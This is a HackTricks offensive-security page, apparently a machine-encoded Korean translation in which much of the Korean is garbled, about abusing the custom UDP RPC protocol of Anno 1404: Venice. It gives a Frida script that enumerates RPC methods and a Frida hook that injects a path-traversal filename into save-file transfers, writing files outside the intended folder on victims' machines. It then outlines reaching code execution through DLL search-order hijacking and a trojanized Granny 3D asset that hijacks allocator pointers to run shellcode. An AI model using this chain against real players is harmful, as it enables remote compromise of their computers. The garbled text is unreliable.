Custom UDP RPC Enumeration & File-Transfer Abuse
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Frida๋ก ๋ ์ RPC ๊ฐ์ฒด ๋งคํ
๊ตฌํ ๋ฉํฐํ๋ ์ด์ด ํ์ดํ๋ค์ ์ข
์ข
UDP ์์ ์์ฒด ๊ฐ๋ฐํ RPC ์คํ์ ๋ด์ฅํฉ๋๋ค. Anno 1404: Venice์์๋ NetComEngine3.dll์ RMC_CallMessage ๋์คํจ์ฒ๋ฅผ ํตํด ๊ตฌํ๋์ด, ๊ฐ ๋ฐ์ดํฐ๊ทธ๋จ์์ 5๊ฐ์ ํ๋๋ฅผ ํ์ฑํฉ๋๋ค:
| ํ๋ | ์ฉ๋ |
|---|---|
ID | RPC ๋์ (16-bit) |
Flags | ์ ์ก ์์ฑ(์ ๋ขฐ์ฑ, ์์) |
Source | ํธ์ถ์ ๊ฐ์ฒด ID |
TargetObject | ์๊ฒฉ ๊ฐ์ฒด ์ธ์คํด์ค |
Method | ๋์ ํด๋์ค ๋ด ๋ฉ์๋ ์ธ๋ฑ์ค |
๋ ๊ฐ์ ํฌํผ ํจ์ โ ClassToMethodName() ๋ฐ TargetName() โ ๋ ์์ ID๋ฅผ ๋ก๊น
์ฉ ์ฌ๋์ด ์ฝ์ ์ ์๋ ๋ฌธ์์ด๋ก ๋ณํํฉ๋๋ค. 24โbit ๊ฐ์ฒด ID์ 16โbit ๋ฉ์๋ ID๋ฅผ ๋ธ๋ฃจํธํฌ์ฑํ๊ณ ํด๋น ํฌํผ๋ค์ ํธ์ถํจ์ผ๋ก์จ ํธ๋ํฝ ์บก์ฒ๋ symbol leaks ์์ด ์๊ฒฉ์ผ๋ก ๋๋ฌ ๊ฐ๋ฅํ ์ ์ฒด ํ๋ฉด์ ์ด๊ฑฐํ ์ ์์ต๋๋ค.
Frida surface enumerator (trimmed)
```javascript 'use strict';const classToMethod = Module.getExportByName(โNetComEngine3.dllโ, โClassToMethodNameโ); const targetName = Module.getExportByName(โNetComEngine3.dllโ, โTargetNameโ);
function tryID(objID, methodID) { const method = new NativeFunction(classToMethod, โpointerโ, [โpointerโ, โuintโ]); const target = new NativeFunction(targetName, โpointerโ, [โpointerโ]); const buf = Memory.alloc(Process.pointerSize); buf.writeU32(objID); const m = method(buf, methodID); if (!m.isNull()) { const t = target(buf); console.log(objID.toString(16), โ=โ, t.readUtf16String()); console.log(โ -โ, methodID, โ=โ, m.readUtf16String()); } }
for (let obj = 0; obj < 0x9000000; obj += 0x400000) { for (let meth = 0; meth < 0x40; meth++) { tryID(obj, meth); } }
</details>
`frida -l explore-surface.js Addon.exe`๋ฅผ ์คํํ๋ฉด ์์ ํ RPC ๋งต์ด ์ถ๋ ฅ๋์๊ณ , ์ฌ๊ธฐ์๋ `Player` ๊ฐ์ฒด (`0x7400000`)์ ํ์ผ ์ ์ก ๋์ฌ์ธ `OnSendFileInit`, `OnSendFileData`, `OnReceivedFileData`, `OnCancelSendFile`๊ฐ ํฌํจ๋์ด ์์๋ค. ๋ด๋ถ ๋ฆฌํ๋ ์
ํฌํผ๋ฅผ ๋
ธ์ถํ๋ ๋ชจ๋ ๋ฐ์ด๋๋ฆฌ ํ๋กํ ์ฝ์ ๋์ผํ ์ํฌํ๋ก๊ฐ ์ ์ฉ๋๋ค: ๋์คํจ์ฒ๋ฅผ ๊ฐ๋ก์ฑ๊ณ , ID๋ฅผ ๋ธ๋ฃจํธํฌ์คํ๋ฉฐ, ์์ง์ด ์ด๋ฏธ ๊ฐ ํธ์ถ ๊ฐ๋ฅํ ๋ฉ์๋์ ๋ํด ์๊ณ ์๋ ๋ด์ฉ์ ๊ธฐ๋กํ๋ผ.
### ํ
- ์์ง์ ์์ฒด ๋ก๊น
๋ฒํผ(`WString::Format` in this case)๋ฅผ ์ฌ์ฉํ์ฌ ๋ฌธ์ํ๋์ง ์์ ๋ฌธ์์ด ์ธ์ฝ๋ฉ์ ์ฌ๊ตฌํํ๋ ์ผ์ ํผํ๋ผ.
- `Flags`๋ฅผ ๋คํํ์ฌ ์ ๋ขฐ์ฑ ๊ธฐ๋ฅ(ACK, resend requests)์ ์๋ณํ๋ผ; ์ปค์คํ
UDP ์คํ์ ์ข
์ข
์๋ชป๋ ํจํท์ ์กฐ์ฉํ ๋ฒ๋ฆฐ๋ค.
- ์ด๊ฑฐ๋ ๋งต์ ์ ์ฅํ๋ผ โ ์ด๋ fuzzing corpus๋ก ์ฌ์ฉ๋๋ฉฐ ์ด๋ค ๊ฐ์ฒด๊ฐ ํ์ผ์์คํ
, world state, ๋๋ in-game scripting์ ์กฐ์ํ๋์ง ๋ถ๋ช
ํ ๋ณด์ฌ์ค๋ค.
## Subverting file-transfer RPCs
๋ฉํฐํ๋ ์ด์ด ์ ์ฅ ๋๊ธฐํ๋ ๋ ํจํท ํธ๋์
ฐ์ดํฌ๋ฅผ ์ฌ์ฉํ๋ค:
1. `OnSendFileInit` โ ํด๋ผ์ด์ธํธ๊ฐ ์์ ๋ ํ์ด๋ก๋๋ฅผ ์ ์ฅํ ๋ ์ฌ์ฉํ UTFโ16 ํ์ผ๋ช
์ ์ ๋ฌํ๋ค.
2. `OnSendFileData` โ ๊ณ ์ ํฌ๊ธฐ ์ฒญํฌ๋ก ์์ ํ์ผ ๋ด์ฉ์ ์คํธ๋ฆฌ๋ฐํ๋ค.
์๋ฒ๊ฐ ์ ์ก ์ง์ ์ `ByteStreamWriteString()`์ผ๋ก ํ์ผ๋ช
์ ์ง๋ ฌํํ๊ธฐ ๋๋ฌธ์, Frida ํ
์ ํจํท ํฌ๊ธฐ๋ฅผ ๊ทธ๋๋ก ์ ์งํ๋ฉด์ ํฌ์ธํฐ๋ฅผ traversal payload๋ก ๊ต์ฒดํ ์ ์๋ค.
<details>
<summary>ํ์ผ๋ช
๊ต์ฒด๊ธฐ</summary>
```javascript
const writeStr = ptr('0x1003A250');
const ByteStreamWriteString = new NativeFunction(writeStr, 'pointer', ['pointer', 'pointer']);
const evil = Memory.allocUtf16String('..\\..\\..\\..\\Sauvegarde.sww');
Interceptor.attach(writeStr, {
onEnter(args) {
const src = args[1].readPointer();
const value = src.readUtf16String();
if (value && value.indexOf('Sauvegarde.sww') !== -1) {
args[1].writePointer(evil);
}
}
});
ํผํด์ ํด๋ผ์ด์ธํธ๋ ์ ํ ๊ฒ์ฆ์ ์ํํ์ง ์์๊ณ ์์ ํ ์ธ์ด๋ธ๋ฅผ ์
์ฑ ํธ์คํธ๊ฐ ์ ๊ณตํ ๊ฒฝ๋ก์ ๊ทธ๋๋ก ๊ธฐ๋กํ์ต๋๋ค. ์: ์๋๋ ...\Savegames\MPShare ํธ๋ฆฌ ๋์ C:\User\user์ ๋จ์ด๋จ๋ฆผ. Anno 1404์ Windows ์ค์น์์๋ ๊ฒ์ ๋๋ ํฐ๋ฆฌ๊ฐ ๋ชจ๋ ์ฌ์ฉ์์๊ฒ ์ฐ๊ธฐ ๊ฐ๋ฅํ๋ฏ๋ก, ์ด ๊ฒฝ๋ก ์ํ๋ ์ฆ์ ์์ ํ์ผ ์ฐ๊ธฐ ํ๋ฆฌ๋ฏธํฐ๋ธ๊ฐ ๋ฉ๋๋ค:
- Drop DLLs for classic search-order hijacking on next launch, or
- Overwrite asset archives (RDA files) so that weaponized models, textures, or scripts are loaded live during the same session.
Defending / attacking other targets
- Look for RPC verbs named
SendFile,Upload,ShareSave, etc., then intercept the serialization helper responsible for filenames or target directories. - Even if filenames are length-checked, many stacks forget to canonicalize
..\or mixed/vs\sequences; brute-force all separators. - When the receiver stores files under the game install path, check ACLs via
icaclsto confirm whether an unprivileged user can drop code there.
Turning path traversal into live asset execution
Once you can upload arbitrary bytes, replace any frequently loaded asset:
- Unpack the archive. RDA archives are DEFLATE-based containers whose metadata is optionally XOR-obfuscated with
srand(0xA2C2A)seeded streams. Tools like RDAExplorer re-pack archives after edits. - Inject a malicious
.gr2. The trojanized Granny 3D file carries the relocation exploit that overwritesSectionContentArrayand, through a two-stage relocation sequence, gains an arbitrary 4-byte write insidegranny2.dll. - Hijack allocator callbacks. With ASLR disabled and DEP off, replacing the
malloc/freefunction pointers ingranny2.dllredirects the next allocation to your shellcode, giving immediate RCE without waiting for the victim to restart the game.
This pattern generalises to any title that streams structured assets from binary archives: combine RPC-level traversal for delivery and unsafe relocation processing for code execution.
References
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


